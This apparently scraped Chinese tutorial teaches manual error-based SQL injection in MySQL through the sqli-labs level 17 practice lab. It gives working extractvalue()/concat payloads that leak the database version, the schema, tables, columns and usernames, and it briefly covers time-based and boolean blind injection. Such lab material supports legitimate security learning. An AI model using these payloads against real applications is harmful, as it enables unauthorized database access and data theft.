mysql注 MySQL手注之報錯注入

2021-10-18 11:40:27 字數 2016 閱讀 7157

報錯注入:

指在頁面中沒有乙個合適的資料返回點的情況下,利用mysql函式的報錯來創造乙個顯位的注入。先來了解一下報錯注入常用的函式

xml:指可擴充套件標記語言被設計用來傳輸和儲存資料。

concat:返回結果為連線引數產⽣的字串

報錯注入常用的函式:

extractvalue():對xml文件進行查詢的函式

語法:extractvalue(目標xml文件,xml路徑)

第二個引數xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /***/***/***/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

updataexml():

geometrycollection() :

floor() :

multipoint()

polygon()

exp()

首先看一下原始碼:

表單原始碼

這裡使用check_input來判斷使用者輸入

驗證使用者名稱 和密碼是否輸入

驗證 uname使用者輸入的使用者名稱是否存在

接受使用者輸入的新密碼,並將新 密碼賦值給 passwd

我們只需要在 已知使用者名稱的情況下 進行密碼的修改,則在要修改密碼的地方就是我們要進行報錯注入的地方。

下面進入靶場演練,這裡用的是sqli-labs的17關

利用extractvalue()演練

尋找乙個已知的使用者名稱 這裡為admin

爆資料庫版本

在密碼框輸: ***' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

要先隨便輸入乙個引數讓語句閉合,從而執行我們想要查詢的語句,如下就爆出資料庫的版本為5.5.53 則可以替換任何你想查詢的資料。

爆資料庫名稱

這裡將@@version替換成了database() 爆出 資料庫名稱

爆表名and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

這裡 爆出許多表 顯然users 是我們感興趣的

爆列名and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#

爆資料and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

mysql 時間盲注 MySQL手注之時間盲注

時間盲注 延遲 沒有任何回顯點 在頁面中輸入任何內容都會返回同乙個頁面內容的 就可以嘗試使用延遲盲注。時間盲注常用的函式 if函式 if condition,a,b 含義 如果condition 成立,執行a,則b substr函式 含義 擷取字串。subster string,start,leng...

時間盲注手注

基於時間的盲注 時間的概念 使用特定函式讓資料庫去執行,通過自己的設定,來檢視資料庫是否get到我們的請求 函式sleep 設定資料庫的延時或者暫停的時間 函式limit 0,1 限制第乙個的第乙個字元 函式mid 1,1 從第乙個字元開始擷取,只擷取乙個 函式benchmark 引數一,引數二 第...

布林盲注手注

布林盲注 mid str,1,3 字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示 substr 這個函式和上面的用法一樣,也是用來擷取字串的 ord 轉換成ascii碼 length 統計長度 version 是檢視資料庫版本 database 檢視當前資料庫名 user 檢視當...